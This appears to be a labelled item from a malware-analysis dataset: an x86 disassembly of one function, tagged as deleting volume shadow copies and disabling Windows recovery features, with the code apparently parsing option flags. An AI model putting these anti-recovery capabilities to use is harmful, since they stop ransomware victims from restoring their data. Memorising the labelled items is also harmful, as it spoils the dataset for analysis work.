Function at 0x536620
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x536b65
sub esp, 0x3c
mov eax, dword [0x6574e8]
mov dword [esp], eax
lea eax, [0x55cc02]
mov dword [esp + 4], eax
mov dword [esp + 8], 6
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
lea eax, [0x5665c7]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0x2b
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], eax
mov ecx, dword [0x6574e8]
mov dword [esp], ecx
lea ecx, [0x55c2b0]
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
lea ecx, [0x563b90]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0x1e
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], eax
mov ecx, dword [0x6574e8]
mov dword [esp], ecx
lea ecx, [0x55c768]
mov dword [esp + 4], ecx
mov dword [esp + 8], 4
lea ecx, [0x55c550]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 3
lea edx, [0x567dd0]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], 0x37
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x30], eax
mov ecx, dword [0x6574e8]
mov dword [esp], ecx
lea ecx, [0x55cbea]
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
lea ecx, [0x55c550]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 3
lea edx, [0x567f1e]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], 0x38
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x2c], eax
mov ecx, dword [0x6574e8]
mov dword [esp], ecx
lea ecx, [0x55cbf0]
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
lea ecx, [0x55c550]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 3
lea edx, [0x564f7f]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], 0x23
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x28], eax
mov ecx, dword [0x6574e8]
mov dword [esp], ecx
lea ecx, [0x55c760]
mov dword [esp + 4], ecx
mov dword [esp + 8], 4
lea ecx, [0x55c550]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 3
lea ecx, [0x567b42]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0x36
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov ecx, dword [0x6574e8]
mov dword [esp], ecx
lea ecx, [0x55cb84]
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
lea ecx, [0x55c36f]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 2
lea ecx, [0x565b83]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0x26
call fcn.004beac0
nop
mov eax, dword [esp + 0x1c]
mov ecx, dword [0x657ea4]
mov edx, dword [0x657ea0]
mov ebx, dword [0x657ea8]
cmp ecx, 1
jb 0x536b5a
mov dword [esp + 0x20], eax
mov eax, dword [0x6574e8]
mov dword [esp], eax
lea eax, [ebx - 1]
mov ebx, eax
neg eax
sar eax, 0x1f
and eax, 8
add eax, edx
mov dword [esp + 4], eax
lea eax, [ecx - 1]
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.004bfb10
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov eax, dword [eax]
test ecx, ecx
je 0x536948
cmp ecx, 2
jne 0x5368e3
cmp word [eax], 0x6f6e
jne 0x536925
mov dword [0x6532dc], 0
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x5368d4
mov dword [0x6532d8], 0
jmp 0x536948
lea edi, [0x6532d8]
xor eax, eax
call fcn.0045f450
jmp 0x536948
cmp ecx, 4
jne 0x536925
cmp dword [eax], 0x6f747561
jne 0x536925
mov dword [0x6532dc], 4
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x536912
lea ecx, [0x55c6f0]
mov dword [0x6532d8], ecx
jmp 0x536948
lea edi, [0x6532d8]
lea eax, [0x55c6f0]
call fcn.0045f450
jmp 0x536948
mov dword [0x6532dc], ecx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x53693d
mov dword [0x6532d8], eax
jmp 0x536948
lea edi, [0x6532d8]
call fcn.0045f450
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
cmp dword [ecx + 4], 2
jne 0x53695b
cmp word [edx], 0x6f6e
je 0x536962
mov byte [0x67e083], 1
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
cmp dword [ecx + 4], 3
jne 0x53697b
cmp word [edx], 0x6579
jne 0x53697b
cmp byte [edx + 2], 0x73
je 0x536982
mov byte [0x63c1c4], 0
mov edx, dword [esp + 0x34]
mov ebx, dword [edx + 4]
mov eax, dword [edx]
test ebx, ebx
je 0x5369b9
mov dword [0x6532cc], ebx
mov ebx, dword [0x67e2d0]
test ebx, ebx
jne 0x5369a7
mov dword [0x6532c8], eax
jmp 0x5369b2
lea edi, [0x6532c8]
call fcn.0045f450
mov byte [0x63c1c0], 0
mov eax, dword [esp + 0x2c]
mov ebx, dword [eax]
cmp dword [eax + 4], 3
jne 0x5369d2
cmp word [ebx], 0x6579
jne 0x5369d2
cmp byte [ebx + 2], 0x73
je 0x5369d9
mov byte [0x63c1c6], 0
mov ebx, dword [esp + 0x30]
mov ebp, dword [ebx]
cmp dword [ebx + 4], 3
jne 0x5369f3
cmp word [ebp], 0x6579
jne 0x5369f3
cmp byte [ebp + 2], 0x73
je 0x5369fa
mov byte [0x63c1c5], 0
mov ebp, dword [esp + 0x28]
mov esi, dword [ebp]
cmp dword [ebp + 4], 3
jne 0x536a14
cmp word [esi], 0x6579
jne 0x536a14
cmp byte [esi + 2], 0x73
je 0x536a1b
mov byte [0x63c1c7], 0
mov dword [esp], 0xc
call fcn.00534ae0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x34]
mov dword [edi + 4], ecx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x536a44
mov dword [edi], eax
jmp 0x536a49
call fcn.0045f450
mov dword [esp], 0xc
call fcn.00534ae0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x24]
mov dword [edi + 4], ecx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x536a72
mov dword [edi], eax
jmp 0x536a77
call fcn.0045f450
mov dword [esp], 0xc
call fcn.00534ae0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x2c]
mov dword [edi + 4], ecx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x536aa0
mov dword [edi], eax
jmp 0x536aa5
call fcn.0045f450
mov dword [esp], 0xc
call fcn.00534ae0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x28]
mov dword [edi + 4], ecx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x536ace
mov dword [edi], eax
jmp 0x536ad3
call fcn.0045f450
mov dword [esp], 0xc
call fcn.00534ae0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x30]
mov dword [edi + 4], ecx
mov ecx, dword [0x67e2d0]
test ecx, ecx
jne 0x536afc
mov dword [edi], eax
jmp 0x536b01
call fcn.0045f450
mov edx, dword [0x657ea4]
xor eax, eax
jmp 0x536b0c
inc eax
cmp eax, edx
jge 0x536b51
test eax, eax
je 0x536b0b
mov ebx, dword [0x657ea0]
mov ecx, dword [0x657ea4]
cmp eax, ecx
jae 0x536b55
lea ebp, [ebx + eax*8 + 4]
mov dword [ebp], 0
lea edi, [ebx + eax*8]
mov ebx, dword [0x67e2d0]
test ebx, ebx
jne 0x536b44
mov dword [edi], 0
jmp 0x536b0b
mov ecx, eax
xor eax, eax
call fcn.0045f450
mov eax, ecx
jmp 0x536b0b
add esp, 0x3c
ret
call fcn.0045f4d0
mov eax, 1
call fcn.0045f530
nop
call fcn.0045e080
jmp fcn.00536620